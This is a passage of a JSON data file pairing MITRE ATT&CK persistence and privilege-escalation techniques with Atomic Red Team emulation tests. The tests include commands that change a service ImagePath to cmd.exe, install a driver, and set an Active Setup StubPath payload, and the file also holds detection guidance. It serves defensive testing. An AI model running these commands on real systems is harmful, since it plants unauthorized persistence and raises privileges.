- "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Service: Service Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1574.011"
- },
- "atomic_tests": [
- {
- "name": "Service Registry Permissions Weakness",
- "auto_generated_guid": "f7536d63-7fd4-466f-89da-7e48d550752a",
- "description": "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "weak_service_name": {
- "description": "weak service check",
- "type": "string",
- "default": "weakservicename"
- }
- },
- "executor": {
- "command": "get-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name} |FL\n",
- "name": "powershell"
- }
- },
- {
- "name": "Service ImagePath Change with reg.exe",
- "auto_generated_guid": "f38e9eea-e1d7-4ba6-b716-584791963827",
- "description": "Change Service registry ImagePath of a bengin service to a malicious file\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "weak_service_name": {
- "description": "weak service name",
- "type": "string",
- "default": "calcservice"
- },
- "weak_service_path": {
- "description": "weak service path",
- "type": "string",
- "default": "%windir%\\system32\\win32calc.exe"
- },
- "malicious_service_path": {
- "description": "malicious service path",
- "type": "string",
- "default": "%windir%\\system32\\cmd.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The service must exist (#{weak_service_name})\n",
- "prereq_command": "if (Get-Service #{weak_service_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "sc.exe create #{weak_service_name} binpath= \"#{weak_service_path}\"\n"
- }
- ],
- "executor": {
- "command": "reg.exe add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"#{malicious_service_path}\"\n",
- "cleanup_command": "sc.exe delete #{weak_service_name}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1163": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1163",
- "url": "https://attack.mitre.org/techniques/T1163"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
- "source_name": "Startup Items"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- }
- ],
- "modified": "2020-01-15T16:27:32.362Z",
- "name": "Rc.common",
- "description": "During the boot process, macOS executes source /etc/rc.common
, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "The /etc/rc.common
file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1542.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
- "type": "attack-pattern",
- "created": "2019-12-19T21:05:38.123Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.003",
- "url": "https://attack.mitre.org/techniques/T1542/003"
- },
- {
- "external_id": "CAPEC-552",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/552.html"
- },
- {
- "source_name": "Mandiant M Trends 2016",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf",
- "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."
- },
- {
- "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
- "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
- "source_name": "Lau 2011"
- }
- ],
- "modified": "2020-09-17T19:47:14.338Z",
- "name": "Bootkit",
- "description": "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Drive: Drive Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Host intrusion prevention systems",
- "Anti-virus",
- "File monitoring"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1547": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
- "created": "2020-01-23T17:46:59.535Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547",
- "url": "https://attack.mitre.org/techniques/T1547"
- },
- {
- "source_name": "Cylance Reg Persistence Sept 2013",
- "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
- "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018."
- },
- {
- "source_name": "MSDN Authentication Packages",
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
- "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017."
- },
- {
- "source_name": "Microsoft Run Key",
- "url": "http://msdn.microsoft.com/en-us/library/aa376977",
- "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014."
- },
- {
- "source_name": "Microsoft TimeProvider",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
- "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018."
- },
- {
- "source_name": "Linux Kernel Programming",
- "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
- "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/564.html",
- "source_name": "capec",
- "external_id": "CAPEC-564"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",
- "modified": "2022-04-18T22:21:27.840Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution",
- "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Windows Registry: Windows Registry Key Creation",
- "Process: Process Creation",
- "Command: Command Execution",
- "Module: Module Load",
- "Driver: Driver Load",
- "File: File Creation",
- "Kernel: Kernel Module Load",
- "Process: OS API Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547"
- },
- "atomic_tests": [
- {
- "name": "Add a driver",
- "auto_generated_guid": "cb01b3da-b0e7-4e24-bf6d-de5223526785",
- "description": "Install a driver via pnputil.exe lolbin\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "driver_inf": {
- "description": "A built-in, already installed windows driver inf",
- "type": "path",
- "default": "C:\\Windows\\INF\\usbstor.inf"
- }
- },
- "executor": {
- "command": "pnputil.exe /add-driver \"#{driver_inf}\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:26.057Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1013",
- "url": "https://attack.mitre.org/techniques/T1013"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/dd183341",
- "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
- "source_name": "AddMonitor"
- },
- {
- "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
- "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.",
- "source_name": "Bloxham"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-01-24T19:47:55.183Z",
- "name": "Port Monitors",
- "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32
and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors
. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "* Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors
.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1547.014": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
- "type": "attack-pattern",
- "created": "2020-12-18T16:33:13.098Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.014",
- "url": "https://attack.mitre.org/techniques/T1547/014"
- },
- {
- "source_name": "Klein Active Setup 2010",
- "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/",
- "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020."
- },
- {
- "source_name": "Mandiant Glyer APT 2010",
- "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf",
- "description": "Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020."
- },
- {
- "source_name": "Citizenlab Packrat 2015",
- "url": "https://citizenlab.ca/2015/12/packrat-report/",
- "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020."
- },
- {
- "source_name": "FireEye CFR Watering Hole 2012",
- "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html",
- "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."
- },
- {
- "source_name": "SECURELIST Bright Star 2015",
- "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/",
- "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020."
- },
- {
- "source_name": "paloalto Tropic Trooper 2016",
- "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
- "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020."
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2021-03-05T22:36:37.414Z",
- "name": "Active Setup",
- "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\
and setting a malicious value for StubPath
. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\
.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1547.014"
- },
- "atomic_tests": [
- {
- "name": "HKLM - Add atomic_test key to launch executable as part of user setup",
- "auto_generated_guid": "deff4586-0517-49c2-981d-bbea24d48d71",
- "description": "This test will create an \"atomic_test\" key under 'HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components' to launch calc by configuring an active setup executable and \nforcing to run active setup using the \"runonce.exe /AlternateShellStartup\" command. \nWithout the \"runonce.exe /AlternateShellStartup\" command it would run during the next logon for each user.\n\nNote: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup sequence to log back in. \nThe payload will only run once unless the cleanup command is run in between tests.\n\n[Active Setup Explained](https://helgeklein.com/blog/active-setup-explained/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload": {
- "description": "Payload to run once during login",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "New-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\" -Name \"atomic_test\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"(Default)\" \"ART TEST\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"StubPath\" \"#{payload}\" -Force \n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup",
- "cleanup_command": "Remove-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore\nRemove-Item \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Add malicious StubPath value to existing Active Setup Entry",
- "auto_generated_guid": "39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a",
- "description": "This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) \nSaid key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. \nWithout the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload": {
- "description": "Payload to run once during login",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" \"StubPath\" \"#{payload}\" -Force\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup",
- "cleanup_command": "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"StubPath\" -Force\nRemove-ItemProperty \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Force",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number",
- "auto_generated_guid": "04d55cef-f283-40ba-ae2a-316bc3b5e78c",
- "description": "This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user, \nwhich will force the StubPath payload (if set) to execute.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Set-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Value \"0,0,0,0\"\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1180": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Bartosz Jerzman"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1180",
- "url": "https://attack.mitre.org/techniques/T1180"
- },
- {
- "source_name": "Wikipedia Screensaver",
- "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
- "url": "https://en.wikipedia.org/wiki/Screensaver"
- },
- {
- "source_name": "ESET Gazer Aug 2017",
- "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
- }
- ],
- "modified": "2020-01-24T13:51:47.990Z",
- "name": "Screensaver",
- "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\
, and C:\\Windows\\sysWOW64\\
on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\
) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe
- set to malicious PE path\n* ScreenSaveActive
- set to '1' to enable the screensaver\n* ScreenSaverIsSecure
- set to '0' to not require a password to unlock\n* ScreenSaveTimeout
- sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1542.005": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4",
- "type": "attack-pattern",
- "created": "2020-10-20T00:06:56.180Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.005",
- "url": "https://attack.mitre.org/techniques/T1542/005"
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Command History",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Boot Information",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020."
- }
